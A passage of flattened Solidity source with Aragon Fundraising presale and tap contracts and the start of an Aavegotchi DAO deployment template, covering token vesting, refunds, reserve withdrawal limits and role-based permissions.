"PRESALE_INVALID_CONTRIBUTE_TOKEN"; string private constant ERROR_INVALID_GOAL = "PRESALE_INVALID_GOAL"; string private constant ERROR_INVALID_EXCHANGE_RATE = "PRESALE_INVALID_EXCHANGE_RATE"; string private constant ERROR_INVALID_TIME_PERIOD = "PRESALE_INVALID_TIME_PERIOD"; string private constant ERROR_INVALID_PCT = "PRESALE_INVALID_PCT"; string private constant ERROR_INVALID_STATE = "PRESALE_INVALID_STATE"; string private constant ERROR_INVALID_CONTRIBUTE_VALUE = "PRESALE_INVALID_CONTRIBUTE_VALUE"; string private constant ERROR_INSUFFICIENT_BALANCE = "PRESALE_INSUFFICIENT_BALANCE"; string private constant ERROR_INSUFFICIENT_ALLOWANCE = "PRESALE_INSUFFICIENT_ALLOWANCE"; string private constant ERROR_NOTHING_TO_REFUND = "PRESALE_NOTHING_TO_REFUND"; string private constant ERROR_TOKEN_TRANSFER_REVERTED = "PRESALE_TOKEN_TRANSFER_REVERTED"; enum State { Pending, // presale is idle and pending to be started Funding, // presale has started and contributors can purchase tokens Refunding, // presale has not reached goal within period and contributors can claim refunds GoalReached, // presale has reached goal within period and trading is ready to be open Closed // presale has reached goal within period, has been closed and trading has been open } IAragonFundraisingController public controller; TokenManager public tokenManager; ERC20 public token; address public reserve; address public beneficiary; address public contributionToken; uint256 public goal; uint64 public period; uint256 public exchangeRate; uint64 public vestingCliffPeriod; uint64 public vestingCompletePeriod; uint256 public supplyOfferedPct; uint256 public fundingForBeneficiaryPct; uint64 public openDate; bool public isClosed; uint64 public vestingCliffDate; uint64 public vestingCompleteDate; uint256 public totalRaised; mapping(address => mapping(uint256 => uint256)) public contributions; // contributor => (vestedPurchaseId => tokensSpent) event SetOpenDate (uint64 date); event Close (); event Contribute (address indexed contributor, uint256 value, uint256 amount, uint256 vestedPurchaseId); event Refund (address indexed contributor, uint256 value, uint256 amount, uint256 vestedPurchaseId); /***** external function *****/ /** * @notice Initialize presale * @param _controller The address of the controller contract * @param _tokenManager The address of the [bonded] token manager contract * @param _reserve The address of the reserve [pool] contract * @param _beneficiary The address of the beneficiary [to whom a percentage of the raised funds is be to be sent] * @param _contributionToken The address of the token to be used to contribute * @param _goal The goal to be reached by the end of that presale [in contribution token wei] * @param _period The period within which to accept contribution for that presale * @param _exchangeRate The exchangeRate [= 1/price] at which [bonded] tokens are to be purchased for that presale [in PPM] * @param _vestingCliffPeriod The period during which purchased [bonded] tokens are to be cliffed * @param _vestingCompletePeriod The complete period during which purchased [bonded] tokens are to be vested * @param _supplyOfferedPct The percentage of the initial supply of [bonded] tokens to be offered during that presale [in PPM] * @param _fundingForBeneficiaryPct The percentage of the raised contribution tokens to be sent to the beneficiary [instead of the fundraising reserve] when that presale is closed [in PPM] * @param _openDate The date upon which that presale is to be open [ignored if 0] */ function initialize( IAragonFundraisingController _controller, TokenManager _tokenManager, address _reserve, address _beneficiary, address _contributionToken, uint256 _goal, uint64 _period, uint256 _exchangeRate, uint64 _vestingCliffPeriod, uint64 _vestingCompletePeriod, uint256 _supplyOfferedPct, uint256 _fundingForBeneficiaryPct, uint64 _openDate ) external onlyInit { require(isContract(_controller), ERROR_CONTRACT_IS_EOA); require(isContract(_tokenManager), ERROR_CONTRACT_IS_EOA); require(isContract(_reserve), ERROR_CONTRACT_IS_EOA); require(_beneficiary != address(0), ERROR_INVALID_BENEFICIARY); require(isContract(_contributionToken) || _contributionToken == ETH, ERROR_INVALID_CONTRIBUTE_TOKEN); require(_goal > 0, ERROR_INVALID_GOAL); require(_period > 0, ERROR_INVALID_TIME_PERIOD); require(_exchangeRate > 0, ERROR_INVALID_EXCHANGE_RATE); require(_vestingCliffPeriod > _period, ERROR_INVALID_TIME_PERIOD); require(_vestingCompletePeriod > _vestingCliffPeriod, ERROR_INVALID_TIME_PERIOD); require(_supplyOfferedPct > 0 && _supplyOfferedPct <= PPM, ERROR_INVALID_PCT); require(_fundingForBeneficiaryPct >= 0 && _fundingForBeneficiaryPct <= PPM, ERROR_INVALID_PCT); initialized(); controller = _controller; tokenManager = _tokenManager; token = ERC20(_tokenManager.token()); reserve = _reserve; beneficiary = _beneficiary; contributionToken = _contributionToken; goal = _goal; period = _period; exchangeRate = _exchangeRate; vestingCliffPeriod = _vestingCliffPeriod; vestingCompletePeriod = _vestingCompletePeriod; supplyOfferedPct = _supplyOfferedPct; fundingForBeneficiaryPct = _fundingForBeneficiaryPct; if (_openDate != 0) { _setOpenDate(_openDate); } } /** * @notice Open presale [enabling users to contribute] */ function open() external auth(OPEN_ROLE) { require(state() == State.Pending, ERROR_INVALID_STATE); require(openDate == 0, ERROR_INVALID_STATE); _open(); } /** * @notice Contribute to the presale up to `@tokenAmount(self.contributionToken(): address, _value)` * @param _contributor The address of the contributor * @param _value The amount of contribution token to be spent */ function contribute(address _contributor, uint256 _value) external payable nonReentrant auth(CONTRIBUTE_ROLE) { require(state() == State.Funding, ERROR_INVALID_STATE); require(_value != 0, ERROR_INVALID_CONTRIBUTE_VALUE); if (contributionToken == ETH) { require(msg.value == _value, ERROR_INVALID_CONTRIBUTE_VALUE); } else { require(msg.value == 0, ERROR_INVALID_CONTRIBUTE_VALUE); } _contribute(_contributor, _value); } /** * @notice Refund `_contributor`'s presale contribution #`_vestedPurchaseId` * @param _contributor The address of the contributor whose presale contribution is to be refunded * @param _vestedPurchaseId The id of the contribution to be refunded */ function refund(address _contributor, uint256 _vestedPurchaseId) external nonReentrant isInitialized { require(state() == State.Refunding, ERROR_INVALID_STATE); _refund(_contributor, _vestedPurchaseId); } /** * @notice Close presale and open trading */ function close() external nonReentrant isInitialized { require(state() == State.GoalReached, ERROR_INVALID_STATE); _close(); } /***** public view functions *****/ /** * @notice Computes the amount of [bonded] tokens that would be purchased for `@tokenAmount(self.contributionToken(): address, _value)` * @param _value The amount of contribution tokens to be used in that computation */ function contributionToTokens(uint256 _value) public view isInitialized returns (uint256) { return _value.mul(exchangeRate).div(PPM); } function contributionToken() public view isInitialized returns (address) { return contributionToken; } /** * @notice Returns the current state of that presale */ function state() public view isInitialized returns (State) { if (openDate == 0 || openDate > getTimestamp64()) { return State.Pending; } if (totalRaised >= goal) { if (isClosed) { return State.Closed; } else { return State.GoalReached; } } if (_timeSinceOpen() < period) { return State.Funding; } else { return State.Refunding; } } /***** internal functions *****/ function _timeSinceOpen() internal view returns (uint64) { if (openDate == 0) { return 0; } else { return getTimestamp64().sub(openDate); } } function _setOpenDate(uint64 _date) internal { require(_date >= getTimestamp64(), ERROR_INVALID_TIME_PERIOD); openDate = _date; _setVestingDatesWhenOpenDateIsKnown(); emit SetOpenDate(_date); } function _setVestingDatesWhenOpenDateIsKnown() internal { vestingCliffDate = openDate.add(vestingCliffPeriod); vestingCompleteDate = openDate.add(vestingCompletePeriod); } function _open() internal { _setOpenDate(getTimestamp64()); } function _contribute(address _contributor, uint256 _value) internal { uint256 value = totalRaised.add(_value) > goal ? goal.sub(totalRaised) : _value; if (contributionToken == ETH && _value > value) { msg.sender.transfer(_value.sub(value)); } // (contributor) ~~~> contribution tokens ~~~> (presale) if (contributionToken != ETH) { require(ERC20(contributionToken).balanceOf(_contributor) >= value, ERROR_INSUFFICIENT_BALANCE); require(ERC20(contributionToken).allowance(_contributor, address(this)) >= value, ERROR_INSUFFICIENT_ALLOWANCE); _transfer(contributionToken, _contributor, address(this), value); } // (mint ✨) ~~~> project tokens ~~~> (contributor) uint256 tokensToSell = contributionToTokens(value); tokenManager.issue(tokensToSell); uint256 vestedPurchaseId = tokenManager.assignVested( _contributor, tokensToSell, openDate, vestingCliffDate, vestingCompleteDate, true /* revokable */ ); totalRaised = totalRaised.add(value); // register contribution tokens spent in this purchase for a possible upcoming refund contributions[_contributor][vestedPurchaseId] = value; emit Contribute(_contributor, value, tokensToSell, vestedPurchaseId); } function _refund(address _contributor, uint256 _vestedPurchaseId) internal { // recall how much contribution tokens are to be refund for this purchase uint256 tokensToRefund = contributions[_contributor][_vestedPurchaseId]; require(tokensToRefund > 0, ERROR_NOTHING_TO_REFUND); contributions[_contributor][_vestedPurchaseId] = 0; // (presale) ~~~> contribution tokens ~~~> (contributor) _transfer(contributionToken, address(this), _contributor, tokensToRefund); /** * NOTE * the following lines assume that _contributor has not transfered any of its vested tokens * for now TokenManager does not handle switching the transferrable status of its underlying token * there is thus no way to enforce non-transferrability during the presale phase only * this will be updated in a later version */ // (contributor) ~~~> project tokens ~~~> (token manager) (uint256 tokensSold,,,,) = tokenManager.getVesting(_contributor, _vestedPurchaseId); tokenManager.revokeVesting(_contributor, _vestedPurchaseId); // (token manager) ~~~> project tokens ~~~> (burn 💥) tokenManager.burn(address(tokenManager), tokensSold); emit Refund(_contributor, tokensToRefund, tokensSold, _vestedPurchaseId); } function _close() internal { isClosed = true; // (presale) ~~~> contribution tokens ~~~> (beneficiary) uint256 fundsForBeneficiary = totalRaised.mul(fundingForBeneficiaryPct).div(PPM); if (fundsForBeneficiary > 0) { _transfer(contributionToken, address(this), beneficiary, fundsForBeneficiary); } // (presale) ~~~> contribution tokens ~~~> (reserve) uint256 tokensForReserve = contributionToken == ETH ? address(this).balance : ERC20(contributionToken).balanceOf(address(this)); _transfer(contributionToken, address(this), reserve, tokensForReserve); // (mint ✨) ~~~> project tokens ~~~> (beneficiary) uint256 tokensForBeneficiary = token.totalSupply().mul(PPM.sub(supplyOfferedPct)).div(supplyOfferedPct); tokenManager.issue(tokensForBeneficiary); tokenManager.assignVested( beneficiary, tokensForBeneficiary, openDate, vestingCliffDate, vestingCompleteDate, false /* revokable */ ); // open trading controller.openTrading(); emit Close(); } function _transfer(address _token, address _from, address _to, uint256 _amount) internal { if (_token == ETH) { require(_from == address(this), ERROR_TOKEN_TRANSFER_REVERTED); require(_to != address(this), ERROR_TOKEN_TRANSFER_REVERTED); _to.transfer(_amount); } else { if (_from == address(this)) { require(ERC20(_token).safeTransfer(_to, _amount), ERROR_TOKEN_TRANSFER_REVERTED); } else { require(ERC20(_token).safeTransferFrom(_from, _to, _amount), ERROR_TOKEN_TRANSFER_REVERTED); } } } } // File: @ablack/fundraising-tap/contracts/Tap.sol pragma solidity 0.4.24; contract Tap is ITap, TimeHelpers, EtherTokenConstant, IsContract, AragonApp { using SafeERC20 for ERC20; using SafeMath for uint256; /** Hardcoded constants to save gas bytes32 public constant UPDATE_CONTROLLER_ROLE = keccak256("UPDATE_CONTROLLER_ROLE"); bytes32 public constant UPDATE_RESERVE_ROLE = keccak256("UPDATE_RESERVE_ROLE"); bytes32 public constant UPDATE_BENEFICIARY_ROLE = keccak256("UPDATE_BENEFICIARY_ROLE"); bytes32 public constant UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE = keccak256("UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE"); bytes32 public constant UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE = keccak256("UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE"); bytes32 public constant ADD_TAPPED_TOKEN_ROLE = keccak256("ADD_TAPPED_TOKEN_ROLE"); bytes32 public constant REMOVE_TAPPED_TOKEN_ROLE = keccak256("REMOVE_TAPPED_TOKEN_ROLE"); bytes32 public constant UPDATE_TAPPED_TOKEN_ROLE = keccak256("UPDATE_TAPPED_TOKEN_ROLE"); bytes32 public constant RESET_TAPPED_TOKEN_ROLE = keccak256("RESET_TAPPED_TOKEN_ROLE"); bytes32 public constant WITHDRAW_ROLE = keccak256("WITHDRAW_ROLE"); */ bytes32 public constant UPDATE_CONTROLLER_ROLE = 0x454b5d0dbb74f012faf1d3722ea441689f97dc957dd3ca5335b4969586e5dc30; bytes32 public constant UPDATE_RESERVE_ROLE = 0x7984c050833e1db850f5aa7476710412fd2983fcec34da049502835ad7aed4f7; bytes32 public constant UPDATE_BENEFICIARY_ROLE = 0xf7ea2b80c7b6a2cab2c11d2290cb005c3748397358a25e17113658c83b732593; bytes32 public constant UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE = 0x5d94de7e429250eee4ff97e30ab9f383bea3cd564d6780e0a9e965b1add1d207; bytes32 public constant UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE = 0x57c9c67896cf0a4ffe92cbea66c2f7c34380af06bf14215dabb078cf8a6d99e1; bytes32 public constant ADD_TAPPED_TOKEN_ROLE = 0x5bc3b608e6be93b75a1c472a4a5bea3d31eabae46bf968e4bc4c7701562114dc; bytes32 public constant REMOVE_TAPPED_TOKEN_ROLE = 0xd76960be78bfedc5b40ce4fa64a2f8308f39dd2cbb1f9676dbc4ce87b817befd; bytes32 public constant UPDATE_TAPPED_TOKEN_ROLE = 0x83201394534c53ae0b4696fd49a933082d3e0525aa5a3d0a14a2f51e12213288; bytes32 public constant RESET_TAPPED_TOKEN_ROLE = 0x294bf52c518669359157a9fe826e510dfc3dbd200d44bf77ec9536bff34bc29e; bytes32 public constant WITHDRAW_ROLE = 0x5d8e12c39142ff96d79d04d15d1ba1269e4fe57bb9d26f43523628b34ba108ec; uint256 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10 ** 16; 100% = 10 ** 18 string private constant ERROR_CONTRACT_IS_EOA = "TAP_CONTRACT_IS_EOA"; string private constant ERROR_INVALID_BENEFICIARY = "TAP_INVALID_BENEFICIARY"; string private constant ERROR_INVALID_BATCH_BLOCKS = "TAP_INVALID_BATCH_BLOCKS"; string private constant ERROR_INVALID_FLOOR_DECREASE_PCT = "TAP_INVALID_FLOOR_DECREASE_PCT"; string private constant ERROR_INVALID_TOKEN = "TAP_INVALID_TOKEN"; string private constant ERROR_INVALID_TAP_RATE = "TAP_INVALID_TAP_RATE"; string private constant ERROR_INVALID_TAP_UPDATE = "TAP_INVALID_TAP_UPDATE"; string private constant ERROR_TOKEN_ALREADY_TAPPED = "TAP_TOKEN_ALREADY_TAPPED"; string private constant ERROR_TOKEN_NOT_TAPPED = "TAP_TOKEN_NOT_TAPPED"; string private constant ERROR_WITHDRAWAL_AMOUNT_ZERO = "TAP_WITHDRAWAL_AMOUNT_ZERO"; IAragonFundraisingController public controller; Vault public reserve; address public beneficiary; uint256 public batchBlocks; uint256 public maximumTapRateIncreasePct; uint256 public maximumTapFloorDecreasePct; mapping (address => uint256) public tappedAmounts; mapping (address => uint256) public rates; mapping (address => uint256) public floors; mapping (address => uint256) public lastTappedAmountUpdates; // batch ids [block numbers] mapping (address => uint256) public lastTapUpdates; // timestamps event UpdateBeneficiary (address indexed beneficiary); event UpdateMaximumTapRateIncreasePct (uint256 maximumTapRateIncreasePct); event UpdateMaximumTapFloorDecreasePct(uint256 maximumTapFloorDecreasePct); event AddTappedToken (address indexed token, uint256 rate, uint256 floor); event RemoveTappedToken (address indexed token); event UpdateTappedToken (address indexed token, uint256 rate, uint256 floor); event ResetTappedToken (address indexed token); event UpdateTappedAmount (address indexed token, uint256 tappedAmount); event Withdraw (address indexed token, uint256 amount); /***** external functions *****/ /** * @notice Initialize tap * @param _controller The address of the controller contract * @param _reserve The address of the reserve [pool] contract * @param _beneficiary The address of the beneficiary [to whom funds are to be withdrawn] * @param _batchBlocks The number of blocks batches are to last * @param _maximumTapRateIncreasePct The maximum tap rate increase percentage allowed [in PCT_BASE] * @param _maximumTapFloorDecreasePct The maximum tap floor decrease percentage allowed [in PCT_BASE] */ function initialize( IAragonFundraisingController _controller, Vault _reserve, address _beneficiary, uint256 _batchBlocks, uint256 _maximumTapRateIncreasePct, uint256 _maximumTapFloorDecreasePct ) external onlyInit { require(isContract(_controller), ERROR_CONTRACT_IS_EOA); require(isContract(_reserve), ERROR_CONTRACT_IS_EOA); require(_beneficiaryIsValid(_beneficiary), ERROR_INVALID_BENEFICIARY); require(_batchBlocks != 0, ERROR_INVALID_BATCH_BLOCKS); require(_maximumTapFloorDecreasePctIsValid(_maximumTapFloorDecreasePct), ERROR_INVALID_FLOOR_DECREASE_PCT); initialized(); controller = _controller; reserve = _reserve; beneficiary = _beneficiary; batchBlocks = _batchBlocks; maximumTapRateIncreasePct = _maximumTapRateIncreasePct; maximumTapFloorDecreasePct = _maximumTapFloorDecreasePct; } /** * @notice Update beneficiary to `_beneficiary` * @param _beneficiary The address of the new beneficiary [to whom funds are to be withdrawn] */ function updateBeneficiary(address _beneficiary) external auth(UPDATE_BENEFICIARY_ROLE) { require(_beneficiaryIsValid(_beneficiary), ERROR_INVALID_BENEFICIARY); _updateBeneficiary(_beneficiary); } /** * @notice Update maximum tap rate increase percentage to `@formatPct(_maximumTapRateIncreasePct)`% * @param _maximumTapRateIncreasePct The new maximum tap rate increase percentage to be allowed [in PCT_BASE] */ function updateMaximumTapRateIncreasePct(uint256 _maximumTapRateIncreasePct) external auth(UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE) { _updateMaximumTapRateIncreasePct(_maximumTapRateIncreasePct); } /** * @notice Update maximum tap floor decrease percentage to `@formatPct(_maximumTapFloorDecreasePct)`% * @param _maximumTapFloorDecreasePct The new maximum tap floor decrease percentage to be allowed [in PCT_BASE] */ function updateMaximumTapFloorDecreasePct(uint256 _maximumTapFloorDecreasePct) external auth(UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE) { require(_maximumTapFloorDecreasePctIsValid(_maximumTapFloorDecreasePct), ERROR_INVALID_FLOOR_DECREASE_PCT); _updateMaximumTapFloorDecreasePct(_maximumTapFloorDecreasePct); } /** * @notice Add tap for `_token.symbol(): string` with a rate of `@tokenAmount(_token, _rate)` per block and a floor of `@tokenAmount(_token, _floor)` * @param _token The address of the token to be tapped * @param _rate The rate at which that token is to be tapped [in wei / block] * @param _floor The floor above which the reserve [pool] balance for that token is to be kept [in wei] */ function addTappedToken(address _token, uint256 _rate, uint256 _floor) external auth(ADD_TAPPED_TOKEN_ROLE) { require(_tokenIsContractOrETH(_token), ERROR_INVALID_TOKEN); require(!_tokenIsTapped(_token), ERROR_TOKEN_ALREADY_TAPPED); require(_tapRateIsValid(_rate), ERROR_INVALID_TAP_RATE); _addTappedToken(_token, _rate, _floor); } /** * @notice Remove tap for `_token.symbol(): string` * @param _token The address of the token to be un-tapped */ function removeTappedToken(address _token) external auth(REMOVE_TAPPED_TOKEN_ROLE) { require(_tokenIsTapped(_token), ERROR_TOKEN_NOT_TAPPED); _removeTappedToken(_token); } /** * @notice Update tap for `_token.symbol(): string` with a rate of `@tokenAmount(_token, _rate)` per block and a floor of `@tokenAmount(_token, _floor)` * @param _token The address of the token whose tap is to be updated * @param _rate The new rate at which that token is to be tapped [in wei / block] * @param _floor The new floor above which the reserve [pool] balance for that token is to be kept [in wei] */ function updateTappedToken(address _token, uint256 _rate, uint256 _floor) external auth(UPDATE_TAPPED_TOKEN_ROLE) { require(_tokenIsTapped(_token), ERROR_TOKEN_NOT_TAPPED); require(_tapRateIsValid(_rate), ERROR_INVALID_TAP_RATE); require(_tapUpdateIsValid(_token, _rate, _floor), ERROR_INVALID_TAP_UPDATE); _updateTappedToken(_token, _rate, _floor); } /** * @notice Reset tap timestamps for `_token.symbol(): string` * @param _token The address of the token whose tap timestamps are to be reset */ function resetTappedToken(address _token) external auth(RESET_TAPPED_TOKEN_ROLE) { require(_tokenIsTapped(_token), ERROR_TOKEN_NOT_TAPPED); _resetTappedToken(_token); } /** * @notice Update tapped amount for `_token.symbol(): string` * @param _token The address of the token whose tapped amount is to be updated */ function updateTappedAmount(address _token) external { require(_tokenIsTapped(_token), ERROR_TOKEN_NOT_TAPPED); _updateTappedAmount(_token); } /** * @notice Transfer about `@tokenAmount(_token, self.getMaximalWithdrawal(_token): uint256)` from `self.reserve()` to `self.beneficiary()` * @param _token The address of the token to be transfered */ function withdraw(address _token) external auth(WITHDRAW_ROLE) { require(_tokenIsTapped(_token), ERROR_TOKEN_NOT_TAPPED); uint256 amount = _updateTappedAmount(_token); require(amount > 0, ERROR_WITHDRAWAL_AMOUNT_ZERO); _withdraw(_token, amount); } /***** public view functions *****/ function getMaximumWithdrawal(address _token) public view isInitialized returns (uint256) { return _tappedAmount(_token); } function rates(address _token) public view isInitialized returns (uint256) { return rates[_token]; } /***** internal functions *****/ /* computation functions */ function _currentBatchId() internal view returns (uint256) { return (block.number.div(batchBlocks)).mul(batchBlocks); } function _tappedAmount(address _token) internal view returns (uint256) { uint256 toBeKept = controller.collateralsToBeClaimed(_token).add(floors[_token]); uint256 balance = _token == ETH ? address(reserve).balance : ERC20(_token).staticBalanceOf(reserve); uint256 flow = (_currentBatchId().sub(lastTappedAmountUpdates[_token])).mul(rates[_token]); uint256 tappedAmount = tappedAmounts[_token].add(flow); /** * whatever happens enough collateral should be * kept in the reserve pool to guarantee that * its balance is kept above the floor once * all pending sell orders are claimed */ /** * the reserve's balance is already below the balance to be kept * the tapped amount should be reset to zero */ if (balance <= toBeKept) { return 0; } /** * the reserve's balance minus the upcoming tap flow would be below the balance to be kept * the flow should be reduced to balance - toBeKept */ if (balance <= toBeKept.add(tappedAmount)) { return balance.sub(toBeKept); } /** * the reserve's balance minus the upcoming flow is above the balance to be kept * the flow can be added to the tapped amount */ return tappedAmount; } /* check functions */ function _beneficiaryIsValid(address _beneficiary) internal pure returns (bool) { return _beneficiary != address(0); } function _maximumTapFloorDecreasePctIsValid(uint256 _maximumTapFloorDecreasePct) internal pure returns (bool) { return _maximumTapFloorDecreasePct <= PCT_BASE; } function _tokenIsContractOrETH(address _token) internal view returns (bool) { return isContract(_token) || _token == ETH; } function _tokenIsTapped(address _token) internal view returns (bool) { return rates[_token] != uint256(0); } function _tapRateIsValid(uint256 _rate) internal pure returns (bool) { return _rate != 0; } function _tapUpdateIsValid(address _token, uint256 _rate, uint256 _floor) internal view returns (bool) { return _tapRateUpdateIsValid(_token, _rate) && _tapFloorUpdateIsValid(_token, _floor); } function _tapRateUpdateIsValid(address _token, uint256 _rate) internal view returns (bool) { uint256 rate = rates[_token]; if (_rate <= rate) { return true; } if (getTimestamp() < lastTapUpdates[_token] + 30 days) { return false; } if (_rate.mul(PCT_BASE) <= rate.mul(PCT_BASE.add(maximumTapRateIncreasePct))) { return true; } return false; } function _tapFloorUpdateIsValid(address _token, uint256 _floor) internal view returns (bool) { uint256 floor = floors[_token]; if (_floor >= floor) { return true; } if (getTimestamp() < lastTapUpdates[_token] + 30 days) { return false; } if (maximumTapFloorDecreasePct >= PCT_BASE) { return true; } if (_floor.mul(PCT_BASE) >= floor.mul(PCT_BASE.sub(maximumTapFloorDecreasePct))) { return true; } return false; } /* state modifying functions */ function _updateTappedAmount(address _token) internal returns (uint256) { uint256 tappedAmount = _tappedAmount(_token); lastTappedAmountUpdates[_token] = _currentBatchId(); tappedAmounts[_token] = tappedAmount; emit UpdateTappedAmount(_token, tappedAmount); return tappedAmount; } function _updateBeneficiary(address _beneficiary) internal { beneficiary = _beneficiary; emit UpdateBeneficiary(_beneficiary); } function _updateMaximumTapRateIncreasePct(uint256 _maximumTapRateIncreasePct) internal { maximumTapRateIncreasePct = _maximumTapRateIncreasePct; emit UpdateMaximumTapRateIncreasePct(_maximumTapRateIncreasePct); } function _updateMaximumTapFloorDecreasePct(uint256 _maximumTapFloorDecreasePct) internal { maximumTapFloorDecreasePct = _maximumTapFloorDecreasePct; emit UpdateMaximumTapFloorDecreasePct(_maximumTapFloorDecreasePct); } function _addTappedToken(address _token, uint256 _rate, uint256 _floor) internal { /** * NOTE * 1. if _token is tapped in the middle of a batch it will * reach the next batch faster than what it normally takes * to go through a batch [e.g. one block later] * 2. this will allow for a higher withdrawal than expected * a few blocks after _token is tapped * 3. this is not a problem because this extra amount is * static [at most rates[_token] * batchBlocks] and does * not increase in time */ rates[_token] = _rate; floors[_token] = _floor; lastTappedAmountUpdates[_token] = _currentBatchId(); lastTapUpdates[_token] = getTimestamp(); emit AddTappedToken(_token, _rate, _floor); } function _removeTappedToken(address _token) internal { delete tappedAmounts[_token]; delete rates[_token]; delete floors[_token]; delete lastTappedAmountUpdates[_token]; delete lastTapUpdates[_token]; emit RemoveTappedToken(_token); } function _updateTappedToken(address _token, uint256 _rate, uint256 _floor) internal { /** * NOTE * withdraw before updating to keep the reserve * actual balance [balance - virtual withdrawal] * continuous in time [though a floor update can * still break this continuity] */ uint256 amount = _updateTappedAmount(_token); if (amount > 0) { _withdraw(_token, amount); } rates[_token] = _rate; floors[_token] = _floor; lastTapUpdates[_token] = getTimestamp(); emit UpdateTappedToken(_token, _rate, _floor); } function _resetTappedToken(address _token) internal { tappedAmounts[_token] = 0; lastTappedAmountUpdates[_token] = _currentBatchId(); lastTapUpdates[_token] = getTimestamp(); emit ResetTappedToken(_token); } function _withdraw(address _token, uint256 _amount) internal { tappedAmounts[_token] = tappedAmounts[_token].sub(_amount); reserve.transfer(_token, beneficiary, _amount); // vault contract's transfer method already reverts on error emit Withdraw(_token, _amount); } } // File: contracts/AavegotchiTBCTemplate.sol pragma solidity 0.4.24; contract AavegotchiTBCTemplate is EtherTokenConstant, BaseTemplate { string private constant ERROR_BAD_SETTINGS = "FM_BAD_SETTINGS"; string private constant ERROR_MISSING_CACHE = "FM_MISSING_CACHE"; bool private constant BOARD_TRANSFERABLE = false; uint8 private constant BOARD_TOKEN_DECIMALS = uint8(0); uint256 private constant BOARD_MAX_PER_ACCOUNT = uint256(1); bool private constant SHARE_TRANSFERABLE = true; uint8 private constant SHARE_TOKEN_DECIMALS = uint8(18); uint256 private constant SHARE_MAX_PER_ACCOUNT = uint256(0); uint64 private constant DEFAULT_FINANCE_PERIOD = uint64(30 days); uint256 private constant BUY_FEE_PCT = 0; uint256 private constant SELL_FEE_PCT = 0; uint32 private constant DAI_RESERVE_RATIO = 333333; // 33% uint32 private constant ANT_RESERVE_RATIO = 10000; // 1% bytes32 private constant BANCOR_FORMULA_ID = 0xd71dde5e4bea1928026c1779bde7ed27bd7ef3d0ce9802e4117631eb6fa4ed7d; bytes32 private constant PRESALE_ID = 0x5de9bbdeaf6584c220c7b7f1922383bcd8bbcd4b48832080afd9d5ebf9a04df5; bytes32 private constant MARKET_MAKER_ID = 0xc2bb88ab974c474221f15f691ed9da38be2f5d37364180cec05403c656981bf0; bytes32 private constant ARAGON_FUNDRAISING_ID = 0x668ac370eed7e5861234d1c0a1e512686f53594fcb887e5bcecc35675a4becac; bytes32 private constant TAP_ID = 0x82967efab7144b764bc9bca2f31a721269b6618c0ff4e50545737700a5e9c9dc; struct Cache { address dao; address boardTokenManager; address boardVoting; address vault; address finance; address shareVoting; address shareTokenManager; address reserve; address presale; address marketMaker; address tap; address controller; } address[] public collaterals; mapping (address => Cache) private cache; constructor( DAOFactory _daoFactory, ENS _ens, MiniMeTokenFactory _miniMeFactory, IFIFSResolvingRegistrar _aragonID, address _dai, address _ant ) BaseTemplate(_daoFactory, _ens, _miniMeFactory, _aragonID) public { _ensureAragonIdIsValid(_aragonID); _ensureMiniMeFactoryIsValid(_miniMeFactory); require(isContract(_dai), ERROR_BAD_SETTINGS); require(isContract(_ant), ERROR_BAD_SETTINGS); require(_dai != _ant, ERROR_BAD_SETTINGS); collaterals.push(_dai); collaterals.push(_ant); } /***** external functions *****/ function prepareInstance( string _boardTokenName, string _boardTokenSymbol, address[] _boardMembers, uint64[3] _boardVotingSettings, uint64 _financePeriod ) external { require(_boardMembers.length > 0, ERROR_BAD_SETTINGS); require(_boardVotingSettings.length == 3, ERROR_BAD_SETTINGS); // deploy DAO (Kernel dao, ACL acl) = _createDAO(); // deploy board token MiniMeToken boardToken = _createToken(_boardTokenName, _boardTokenSymbol, BOARD_TOKEN_DECIMALS); // install board apps TokenManager tm = _installBoardApps(dao, boardToken, _boardVotingSettings, _financePeriod); // mint board tokens _mintTokens(acl, tm, _boardMembers, 1); // cache DAO _cacheDao(dao); } function installShareApps( string _shareTokenName, string _shareTokenSymbol, uint64[3] _shareVotingSettings ) external { require(_shareVotingSettings.length == 3, ERROR_BAD_SETTINGS); _ensureBoardAppsCache(); Kernel dao = _daoCache(); // deploy share token MiniMeToken shareToken = _createToken(_shareTokenName, _shareTokenSymbol, SHARE_TOKEN_DECIMALS); // install share apps _installShareApps(dao, shareToken, _shareVotingSettings); // setup board apps permissions [now that share apps have been installed] _setupBoardPermissions(dao); } function installFundraisingApps( uint256 _goal, uint64 _period, uint256 _exchangeRate, uint64 _vestingCliffPeriod, uint64 _vestingCompletePeriod, uint256 _supplyOfferedPct, uint256 _fundingForBeneficiaryPct, uint64 _openDate, uint256 _batchBlocks, uint256 _maxTapRateIncreasePct, uint256 _maxTapFloorDecreasePct ) external { _ensureShareAppsCache(); Kernel dao = _daoCache(); // install fundraising apps _installFundraisingApps( dao, _goal, _period, _exchangeRate, _vestingCliffPeriod, _vestingCompletePeriod, _supplyOfferedPct, _fundingForBeneficiaryPct, _openDate, _batchBlocks, _maxTapRateIncreasePct, _maxTapFloorDecreasePct ); // setup share apps permissions [now that fundraising apps have been installed] _setupSharePermissions(dao); // setup fundraising apps permissions _setupFundraisingPermissions(dao); } function finalizeInstance( string _id, uint256[2] _virtualSupplies, uint256[2] _virtualBalances, uint256[2] _slippages, uint256 _rateDAI, uint256 _floorDAI ) external { require(bytes(_id).length > 0, ERROR_BAD_SETTINGS); require(_virtualSupplies.length == 2, ERROR_BAD_SETTINGS); require(_virtualBalances.length == 2, ERROR_BAD_SETTINGS); require(_slippages.length == 2, ERROR_BAD_SETTINGS); _ensureFundraisingAppsCache(); Kernel dao = _daoCache(); ACL acl = ACL(dao.acl()); (, Voting shareVoting) = _shareAppsCache(); // setup collaterals _setupCollaterals(dao, _virtualSupplies, _virtualBalances, _slippages, _rateDAI, _floorDAI); // setup EVM script registry permissions _createEvmScriptsRegistryPermissions(acl, shareVoting, shareVoting); // clear DAO permissions _transferRootPermissionsFromTemplateAndFinalizeDAO(dao, shareVoting, 